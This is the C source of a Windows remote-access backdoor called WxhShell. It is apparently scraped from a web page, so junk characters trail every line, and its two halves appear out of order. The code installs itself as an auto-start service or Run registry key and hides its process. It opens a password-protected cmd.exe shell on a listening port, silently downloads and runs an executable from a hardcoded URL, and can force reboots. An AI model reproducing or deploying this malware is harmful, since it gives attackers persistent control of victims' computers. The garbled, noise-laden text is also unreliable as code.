    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @vVRF Z  
    else { oyi7YRvwd  
    closesocket(wsh); e<ism?WG  
    ExitThread(0); (h'$3~  
    } %[+a[/  
    break; 4GmSG,]  
    } 4]|9!=\  
  // 获取shell G}Qk!r  
  case 's': { d()zW7}W  
    CmdShell(wsh); =R"Eb1  
    closesocket(wsh); S)Ub/`f{s  
    ExitThread(0); b |o`Q7Hj  
    break; j\jL[hG_  
  } x mrugNRg  
  // 退出 WrIL]kJw^  
  case 'x': { 6Zl.Lh  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8AC. 2 v?_  
    CloseIt(wsh); =:ya;k&  
    break; ,?7xb]h  
    } e0G}$ as  
  // 离开 lEVQA*u[  
  case 'q': { A*-]J=:E {  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); C7XS6Nqu  
    closesocket(wsh); EL2hD$  
    WSACleanup(); 7Y_fF1-wY  
    exit(1); i_jax)m%  
    break; ]ft~OqLg!  
        } % RBI\tj  
  } 6B!j(R  
  } yP1Y3Tga=  
,&zjOc_v  
  // 提示信息 !?us[f=g%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d-#u/{jG)  
} e!2%ku  
  } 8f6;y1!;  
|4?}W ,  
  return; I!soV0V U]  
} w50Bq&/jX  
G2[IO $  
// shell模块句柄 +|}K5q\  
int CmdShell(SOCKET sock) Vm,f3~  
{ '%]@a7w  
STARTUPINFO si; 4, *^QK  
ZeroMemory(&si,sizeof(si)); ,SE$Rh  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;([tf;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -'p@ lk  
PROCESS_INFORMATION ProcessInfo; hB GGs  
char cmdline[]="cmd"; ~QEXB*X-g'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lu@>?,<  
  return 0; _ c(C;s3o  
} l3Bxi1k[C  
XnI ;7J  
// 自身启动模式 ?3"D| cS1  
int StartFromService(void) <@AsCiQF  
{ ~=AKX(Q  
typedef struct Sfoy8<j  
{ sG1]A:_<C  
  DWORD ExitStatus; Ignv|TYG  
  DWORD PebBaseAddress; 3}#XA+Z  
  DWORD AffinityMask; vo( j@+dz  
  DWORD BasePriority; 4xpWO6Q  
  ULONG UniqueProcessId; }MavI'  
  ULONG InheritedFromUniqueProcessId; :rs\ydDUF  
}   PROCESS_BASIC_INFORMATION; D>7_P7]y  
?"8A^ ^  
PROCNTQSIP NtQueryInformationProcess; %d[xr h  
+S5_J&~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3P^gP32  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; % 6hw  
hp z*jyh8  
  HANDLE             hProcess; ks#Z~6+3  
  PROCESS_BASIC_INFORMATION pbi; mv%:[+!  
} @fu~V/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); BQ}.+T\  
  if(NULL == hInst ) return 0; On.x~ t  
Qdr-GODx  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); dK;\`>8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); jme5'FR  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  ~!d)J  
,S0~:c:)  
  if (!NtQueryInformationProcess) return 0; Mm7n?kb6  
%1?V6&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kdMS"iN8x  
  if(!hProcess) return 0; |o=\9:wV  
v4>"p!_C  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; x^O2Lj,w\  
+l?ro[#6&.  
  CloseHandle(hProcess); 73z|'0.  
vwH7/+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .q9|XDqQc  
if(hProcess==NULL) return 0; |UDD/e  
;1g-z]  
HMODULE hMod; +j: Ld(  
char procName[255]; _t;VE06Xjs  
unsigned long cbNeeded; 3&nc'  
rUpAiZfz >  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _yB9/F  
BvW gH.OX  
  CloseHandle(hProcess); JX0_UU  
y3[)zv  
if(strstr(procName,"services")) return 1; // 以服务启动 b G5  
x(zZqOed  
  return 0; // 注册表启动 pL/.JzB  
} 9PGR#!!F$  
zu*G4?]~h  
// 主模块 e, 0I~:  
int StartWxhshell(LPSTR lpCmdLine) 6N+)LF}P b  
{ F4<2.V)#-  
  SOCKET wsl; G1^!ej  
BOOL val=TRUE; %PdYv _5  
  int port=0; 9egaN_K  
  struct sockaddr_in door; /^eemx  
8Pdnw/W  
  if(wscfg.ws_autoins) Install(); $z,DcO.vz  
VrE5^\k<a  
port=atoi(lpCmdLine); 1LIV/l^}f  
ftH%, /,  
if(port<=0) port=wscfg.ws_port; v_h*:c  
:;WDPRx  
  WSADATA data; Eg29|)qsz  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :aqskeT  
wVJFA1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ahbu >LPk  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X|1YGZJ  
  door.sin_family = AF_INET; !K~$ -jlT  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); yj+b/9My   
  door.sin_port = htons(port); gI5nWEM0{  
Q!e0Vb  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |< FCt-U  
closesocket(wsl); [_hhC  
return 1; Bg0cC  
} _";pk  _  
xy3%z  
  if(listen(wsl,2) == INVALID_SOCKET) { b{>dOI*.}  
closesocket(wsl); 7<o;3gR7Kj  
return 1; .) ;:K  
} O:p649A  
  Wxhshell(wsl); dTQvz9C  
  WSACleanup(); A":b_!sW  
U*:'/.  
return 0; eniR}  
AR6vc  
} =?Md&%j  
I8]NY !'cW  
// 以NT服务方式启动 PM>XT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) AHD%6 \$  
{ -?1J+}?  
DWORD   status = 0; 5@%-=87S  
  DWORD   specificError = 0xfffffff; y+afUJT  
/(pChY>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }/0dfes  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; yZ0ZP  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~RAH -]  
  serviceStatus.dwWin32ExitCode     = 0; 7O^ S.(  
  serviceStatus.dwServiceSpecificExitCode = 0; Bic { H  
  serviceStatus.dwCheckPoint       = 0; X hX'*{3k  
  serviceStatus.dwWaitHint       = 0; 0%NI- Zyo  
!*UdY(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .LR>&N_U  
  if (hServiceStatusHandle==0) return; E"&9FxS]^  
'k Z1&_{  
status = GetLastError(); =T}uQ$X  
  if (status!=NO_ERROR) wx5*!^&j  
{ lB~'7r`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (#M$t!'%  
    serviceStatus.dwCheckPoint       = 0; g"? D>}@=  
    serviceStatus.dwWaitHint       = 0; Vdk+1AX  
    serviceStatus.dwWin32ExitCode     = status; M)^9e?  
    serviceStatus.dwServiceSpecificExitCode = specificError; yLOLv6g~e  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); + aqo8'a  
    return; Kp8T;&<Iay  
  } s2=X>,kz?  
S9oGf  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]X|G+[Ujv  
  serviceStatus.dwCheckPoint       = 0; S`w)b'B!M  
  serviceStatus.dwWaitHint       = 0; !PIdw~YC  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <j3HT"^[D  
} +qf{ '|H  
*S_Iza #&x  
// 处理NT服务事件,比如:启动、停止 y<d#sv(s  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Asu"#sd  
{ Lo9?,^S  
switch(fdwControl) Vnb#N4vR  
{ <U pjAuG8  
case SERVICE_CONTROL_STOP: }h6z&:qA[?  
  serviceStatus.dwWin32ExitCode = 0; Y g?{x@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0Jh:6F  
  serviceStatus.dwCheckPoint   = 0; *=@pdQkR  
  serviceStatus.dwWaitHint     = 0; t&]Mt 7  
  { f"^tOgGH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >;W(Jb7e  
  } mDf WR  
  return; 6E]rxps}"  
case SERVICE_CONTROL_PAUSE: zAUfd[g  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; TeqsP1{?  
  break; Q*(o;\s  
case SERVICE_CONTROL_CONTINUE: ? d\8Q't*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ntiz-qW  
  break; jMbK7 1K%  
case SERVICE_CONTROL_INTERROGATE: g>zL{[e!  
  break; >K%x44|  
}; =T$- #bA)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]#n4A|&H  
} 1_lL?S3,a@  
w,9F riW  
// 标准应用程序主函数 3vU (4}@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P$I\)Q H  
{ =C)1NJx&~  
5K{h)* *5  
// 获取操作系统版本 OhEL9"\<  
OsIsNt=GetOsVer(); hhhO+D1(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3IFU{0a`  
Dm#k-y  
  // 从命令行安装 p#2th`M:P1  
  if(strpbrk(lpCmdLine,"iI")) Install(); m@~x*+Iz  
 U2$T}/@  
  // 下载执行文件 0aWb s$FyU  
if(wscfg.ws_downexe) { Q,`kfxA`O  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2_X0Og8s[  
  WinExec(wscfg.ws_filenam,SW_HIDE); sf0U(XYQ^  
} GNOC5 E$I  
O]lfs >>x  
if(!OsIsNt) {  <@u6*]  
// 如果时win9x,隐藏进程并且设置为注册表启动 >k|[U[@  
HideProc(); e_V(G  
StartWxhshell(lpCmdLine); ,RQ-w2j?  
} >B7OTGw  
else PK" C+o;:  
  if(StartFromService()) 7l3q~dQ  
  // 以服务方式启动 q =6 Y2Q  
  StartServiceCtrlDispatcher(DispatchTable); 7i.aZ2a%  
else sSUd;BYf  
  // 普通方式启动 (.o'1 '  
  StartWxhshell(lpCmdLine); W(YJz#]6_  
"#jKk6{I0  
return 0; N=9lA0y+  
} Cq~Ir*"  
I]X<L2  
kZQ;\QL1}  
UhK,H   
=========================================== GWKefH  
3yN1cd"#?  
BL67sva;  
sa*-B  
Gj3/&'k6  
qv\yQ&pj  
" v*3:8Y,  
wn`budH?c8  
#include <stdio.h> O5 SX"A  
#include <string.h> whCv9)x  
#include <windows.h> v(`$%V.  
#include <winsock2.h> ?9+;[X  
#include <winsvc.h> 2uIAnbW]M  
#include <urlmon.h> FhGbQJ?[3  
z@~rm9d  
#pragma comment (lib, "Ws2_32.lib") 14RL++  
#pragma comment (lib, "urlmon.lib") pjFgIG2=9  
B|v fkX2f  
#define MAX_USER   100 // 最大客户端连接数 d@hJ=-4  
#define BUF_SOCK   200 // sock buffer 16vfIUtb  
#define KEY_BUFF   255 // 输入 buffer f$|v  
xh0!H| R  
#define REBOOT     0   // 重启 uypD`%pC  
#define SHUTDOWN   1   // 关机 AI2CfH#:C  
V 6F,X`7  
#define DEF_PORT   5000 // 监听端口 TL>e[ PBO  
_qV_(TpS+  
#define REG_LEN     16   // 注册表键长度 V QI7lJV"  
#define SVC_LEN     80   // NT服务名长度 Dg`W{oj  
Cb.Aw!  
// 从dll定义API fJuJ#MX{:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ( C&f~U  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); R<-KXT9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &3<]FK  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &!ZpBR(  
b11C3TyQT  
// wxhshell配置信息 *RPI$0  
struct WSCFG { 8J} J;Ga  
  int ws_port;         // 监听端口 M4| L  
  char ws_passstr[REG_LEN]; // 口令 Sc&_6} K  
  int ws_autoins;       // 安装标记, 1=yes 0=no S:gP\Atf>  
  char ws_regname[REG_LEN]; // 注册表键名 r_G`#Z_5F  
  char ws_svcname[REG_LEN]; // 服务名 !SnpesTn  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8Ex0[ e  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 bTj,5,8 i  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5zU$_M  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8Xr"4;}f+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" OR3TRa XD  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 A.n1|Q#  
RW 5T}  
}; a^BD55d?  
T~la,>p|}  
// default Wxhshell configuration c}A^0,"z>  
struct WSCFG wscfg={DEF_PORT, TO<g@u]*  
    "xuhuanlingzhe", VuGSP]$q  
    1, YpJzRm{Ra  
    "Wxhshell", Hogr#Sn2  
    "Wxhshell", < javZJ  
            "WxhShell Service", Y3?kj@T`i  
    "Wrsky Windows CmdShell Service", HO"(eDW6z  
    "Please Input Your Password: ", lG2){){j  
  1, n}2}4^  
  "http://www.wrsky.com/wxhshell.exe", !T}`h'  
  "Wxhshell.exe" C4y<+G.`  
    }; pxgv(:Tw  
;k>{I8L~  
// 消息定义模块 4_$f "6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; D3eK!'qS  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Js'|N%pi  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >Q YxX<W  
char *msg_ws_ext="\n\rExit."; @I%m}>4Jm  
char *msg_ws_end="\n\rQuit."; : M Md@  
char *msg_ws_boot="\n\rReboot..."; 4R6X"T9-  
char *msg_ws_poff="\n\rShutdown..."; E>&dG:3no  
char *msg_ws_down="\n\rSave to "; 2l9_$evK~  
kns[b [!H  
char *msg_ws_err="\n\rErr!"; I)clGMS,  
char *msg_ws_ok="\n\rOK!"; fy-( B;  
IySlu^a  
char ExeFile[MAX_PATH]; + EM '-  
int nUser = 0; Xr@0RFdr[  
HANDLE handles[MAX_USER]; jk~< si  
int OsIsNt; Q9( eH2=  
m#uutomi0  
SERVICE_STATUS       serviceStatus; BJqM=<nQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; hSxf;>(d  
17-K~ybc  
// 函数声明 mV-MJ$3r  
int Install(void); Ba"Z^(:  
int Uninstall(void); t ,0~5>5  
int DownloadFile(char *sURL, SOCKET wsh); ~U`aH~R  
int Boot(int flag); 1_A< nt?'R  
void HideProc(void); ;lGjj9we>  
int GetOsVer(void); c Mq|`CM  
int Wxhshell(SOCKET wsl); wEdXaOEB5  
void TalkWithClient(void *cs); |KuH2, n0  
int CmdShell(SOCKET sock); 'INdZ8j_  
int StartFromService(void); cEe>Lyt  
int StartWxhshell(LPSTR lpCmdLine); kc}e},k  
VP[ J#TPU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zzM 'uo  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /MA4Er r  
.2`S07Z  
// 数据结构和表定义 s+aeP  
SERVICE_TABLE_ENTRY DispatchTable[] = ;:v:pg8qc  
{ d35,[  
{wscfg.ws_svcname, NTServiceMain}, %GJ, &b|  
{NULL, NULL} ?]:3`;h3  
}; ^;L;/I[-  
\MnlRBUM,  
// 自我安装 ^27r-0|l^  
int Install(void) hW(Mf  
{ (%tKGeb  
  char svExeFile[MAX_PATH]; vFQ'sd]C  
  HKEY key; b?y3m +V`  
  strcpy(svExeFile,ExeFile); +g(QF   
>xT8[  
// 如果是win9x系统,修改注册表设为自启动 E#J+.&2  
if(!OsIsNt) { -|g~--@Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0C7x1:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G"wy?  
  RegCloseKey(key); 8dP^zjPj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yKi* 8N"e<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^dQ#\uy  
  RegCloseKey(key); $P>ci4]t  
  return 0; 60Y&)UR  
    } gz8<&*2  
  } @Kp2l<P  
} OXI.>9  
else { Q 1g@FsW&U  
M*|x,K=U  
// 如果是NT以上系统,安装为系统服务 Ue! &Vm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'RXh E  
if (schSCManager!=0) i&RPY bT{  
{ .^ soX}  
  SC_HANDLE schService = CreateService =}F &jl  
  ( sT|8a  
  schSCManager, IF<pT)  
  wscfg.ws_svcname, awGI|d  
  wscfg.ws_svcdisp, 9%pq+?u9  
  SERVICE_ALL_ACCESS, tQF,E&Jo8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }PD? x4  
  SERVICE_AUTO_START, h>9GfF3  
  SERVICE_ERROR_NORMAL, Hr:WE+'  
  svExeFile, LNtBYdB`pK  
  NULL, A?=g!(wB  
  NULL, Y$shn]~  
  NULL, V|)3l7IC<  
  NULL, (i1 ]+.  
  NULL tRFj<yuaq  
  ); jUYb8:B  
  if (schService!=0) # 2s$dI  
  { K08xiMjl  
  CloseServiceHandle(schService); voEg[Gg4%I  
  CloseServiceHandle(schSCManager); ng"R[/)In  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xM'bb5  
  strcat(svExeFile,wscfg.ws_svcname); ;kDz9Va  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8A#qbBD  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |#>\GU=!  
  RegCloseKey(key); QOB>Tv E  
  return 0; h@&& .S`B  
    } ^fa+3`>  
  } 7E 6gXf.  
  CloseServiceHandle(schSCManager); x=(Q$Hl5  
} /^SIJS@^`>  
} To.CY^M  
"k[-eFz/@M  
return 1; ;N#d'E\  
} E9i M-Lw  
1YL6:5n  
// 自我卸载 8c3Qd  
int Uninstall(void) QX-%<@  
{ ?#da4W  
  HKEY key; {1Z8cV   
LB1LQ 0M  
if(!OsIsNt) { hOG9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [@(M%  
  RegDeleteValue(key,wscfg.ws_regname); Bvb.N$G  
  RegCloseKey(key); *]:gEO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9ldv*9v  
  RegDeleteValue(key,wscfg.ws_regname); O`<id+rx  
  RegCloseKey(key); G(" S6u  
  return 0; xEb+sE6Z  
  } @i U@JE`C  
} %ukFn &-2@  
} n]S DpptM  
else { DryN}EMOKD  
MEf`&<t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M{w[hV  
if (schSCManager!=0) `lygJI?H+{  
{ FxeDjAP  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e)"] H*  
  if (schService!=0) ?NkweT(  
  { l];w,(u{  
  if(DeleteService(schService)!=0) { q$x$ 4  
  CloseServiceHandle(schService); ,rc?,J1l  
  CloseServiceHandle(schSCManager); o."k7fLB  
  return 0; >>22:JI`  
  } kV9S+ME  
  CloseServiceHandle(schService); : p %G+q2  
  } Y>W$n9d&G2  
  CloseServiceHandle(schSCManager); 8` ~M$5!  
} Jas=D  
} P@lDhzd  
u_ou,RF  
return 1; S{wR Z|8U  
} bS7rG$n [  
S5'ZKk  
// 从指定url下载文件 ^C$Oht,cU  
int DownloadFile(char *sURL, SOCKET wsh) }81eef4$S  
{ PxE0b0eo  
  HRESULT hr; 8$9Q=M  
char seps[]= "/"; M uz+j.0  
char *token; Z1Y/2MVSb  
char *file; !'scOWWn  
char myURL[MAX_PATH]; ~xfoZiIA}  
char myFILE[MAX_PATH]; B6 rz  
EC#4"bU`'2  
strcpy(myURL,sURL); f"i(+:la  
  token=strtok(myURL,seps); (OS -v~{r@  
  while(token!=NULL) /6S% h-#\  
  { su:~X d  
    file=token; WRIOjQ:  
  token=strtok(NULL,seps); ]$Ud`<Xnx  
  } yR}PC/>  
_7e ^ t N  
GetCurrentDirectory(MAX_PATH,myFILE); ye?4^@u u  
strcat(myFILE, "\\"); S\wh *'Y  
strcat(myFILE, file); "wwAbU<  
  send(wsh,myFILE,strlen(myFILE),0); t 3LRmjL  
send(wsh,"...",3,0); H[oCI|k  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $FR1^|P/G  
  if(hr==S_OK) JzuU k  
return 0; bzj9U>eY  
else cl2+,!:  
return 1; TgC8EcLr  
'DLgOUvh  
} w2 %u;D%  
i*ibx;s-  
// 系统电源模块 R;yi58Be  
int Boot(int flag) dOG]Yjc  
{ n{Ce%gy  
  HANDLE hToken; uO]^vP]fT  
  TOKEN_PRIVILEGES tkp; 7 k:w3M  
8&K1;l }  
  if(OsIsNt) { Ebk9[=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); KkD.n#A  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^lw0} i  
    tkp.PrivilegeCount = 1; WC0gJy  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]\TYVv)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); KH=4A-e,0  
if(flag==REBOOT) { hKx*V"7/#\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) PeU>h2t  
  return 0; %5[,U)X"  
} *;N6S~_'Y  
else { '>"riEk  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) BIJlU(aF  
  return 0; 3$ 'eDa[  
}  <xn96|$  
  } 8,VX%CS#q  
  else { (v/mKGyg  
if(flag==REBOOT) { &Hl*Eg f  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [nYm-\M  
  return 0; 2D'b7zPJ3  
} /Ko{S_3< I  
else {  H8lh.K  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) JyiP3whW  
  return 0; W'98ues%  
} |$>ZGs#  
} o x|K2A  
`S)*(s?T  
return 1; sLHUQ(S!  
} *- S/{ .&  
!<EQVqj6  
// win9x进程隐藏模块 pwIu;:O!?  
void HideProc(void) UgqfO(  
{ 0aWy!d  
3)ZdT{ MY  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1K&_t  
  if ( hKernel != NULL ) N'5AU (  
  { @gc|Z]CV  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); G d%X> ~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); MJyz0.9c  
    FreeLibrary(hKernel); {?+dVLa^;  
  } E\_Wpk  
Q:v9C ^7  
return; wO-](3A-8P  
} {p90   
*X%dg$VcV  
// 获取操作系统版本 H Z)an  
int GetOsVer(void) _x'?igy  
{ U@'F9UB`  
  OSVERSIONINFO winfo; RX"~m!26  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <w1# 3Mu'  
  GetVersionEx(&winfo); SWq5=h  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Lh_Q@>k  
  return 1; C@P4}X0,=  
  else H?H(=  
  return 0; NA/hs/ '  
} ;$FpxurX  
hQFF%xl  
// 客户端句柄模块 N!=$6`d  
int Wxhshell(SOCKET wsl) `i"7; _HoV  
{ ^q@6((O  
  SOCKET wsh; )@hG#KMK  
  struct sockaddr_in client; ^Gt9.  
  DWORD myID; n !oxwA!  
fGf C[DuY  
  while(nUser<MAX_USER) \9Yc2$dY  
{ GEd JB=  
  int nSize=sizeof(client); ^#0k\f>_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); h%=>iQ%enc  
  if(wsh==INVALID_SOCKET) return 1; jmkVolz  
~N!-4-~p  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); WGC'k s ^  
if(handles[nUser]==0) %~{G*%:  
  closesocket(wsh); 3W#f Fy  
else ^1}Y=! &  
  nUser++; uG:xd0X+W  
  } 4Y x\U  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); i0jR~vF {B  
QRw/d}8l  
  return 0; G&DL)ePu]m  
} wF\5 X  
Fx]}<IudA^  
// 关闭 socket 7%7 \2!0J}  
void CloseIt(SOCKET wsh) y]YUuJ9a  
{ [W*xPXr*  
closesocket(wsh); }b$W+/M\  
nUser--; nyRQ/.3  
ExitThread(0); +jv&V%IL  
} M[}aQWT$v  
?z/ )Hkw  
// 客户端请求句柄 %9HL "  
void TalkWithClient(void *cs) <q<kqy5s-R  
{ ,bU 8S\8  
p2)563#RS  
  SOCKET wsh=(SOCKET)cs; pIbm)-  
  char pwd[SVC_LEN]; &}."sGK  
  char cmd[KEY_BUFF]; F-&=N {+  
char chr[1]; muZ6}&4  
int i,j; !J/fJW>m6  
5;4bZ3e,0  
  while (nUser < MAX_USER) { (imaL,M-D  
R{0nk   
if(wscfg.ws_passstr) { 4],*y`& g  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6$*\%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); = VFPZ  
  //ZeroMemory(pwd,KEY_BUFF); ~ MZEAY9  
      i=0; *$6dNx  
  while(i<SVC_LEN) { wBa IN]Y,  
D>>?8a  
  // 设置超时 rd\:.  
  fd_set FdRead; iQ7S*s+l5O  
  struct timeval TimeOut; 56JvF*hP  
  FD_ZERO(&FdRead); G Ch]5\  
  FD_SET(wsh,&FdRead); ,+mH1#-3  
  TimeOut.tv_sec=8; by0@G"AE+  
  TimeOut.tv_usec=0; kbcqUE  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); m R|;}u;d  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +/|;<K5_LI  
jVxX! V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9%  wVE]  
  pwd=chr[0]; NKX62 ZC  
  if(chr[0]==0xd || chr[0]==0xa) { *l9Wj$vja  
  pwd=0; 'ai3f  
  break; L3s1a -K  
  } o)}M$}4  
  i++; X 8#Uk}/  
    } ,!i!q[YkL9  
67]kT%0  
  // 如果是非法用户,关闭 socket >anq1Kf  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u.~`/O  
} O S%  
{!]7=K)W9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R8(Bt73  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J 6%CF2  
Dmq_jt  
while(1) { "$6 .L^9W  
WNo",Vc  
  ZeroMemory(cmd,KEY_BUFF); Z+EN]02|  
TTQ(\l4  
      // 自动支持客户端 telnet标准   rV[/G#V>{  
  j=0; 5+yT{,(5  
  while(j<KEY_BUFF) { =|Vm69  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .`; bQh'!  
  cmd[j]=chr[0]; F&[MyXU4  
  if(chr[0]==0xa || chr[0]==0xd) { 3~5 %6`  
  cmd[j]=0; 7LZ A!3  
  break; |OarE2  
  } M tD{/.D>  
  j++; Ak=|wY{  
    } >mXq= 9L4  
yG~7Xo5  
  // 下载文件 wrJ:jTh  
  if(strstr(cmd,"http://")) { 6:$+"@ps  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?K9zTas@  
  if(DownloadFile(cmd,wsh)) 898=9`7e  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hi5}s  
  else bayDdR4T  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1nAAs;`'  
  } ~IIlCmMl,  
  else { *s[bq;$  
3^x C=++  
    switch(cmd[0]) { 66jL2XU<  
  HgfeSH  
  // 帮助 xmp^`^v*  
  case '?': { '3'*VcL(  
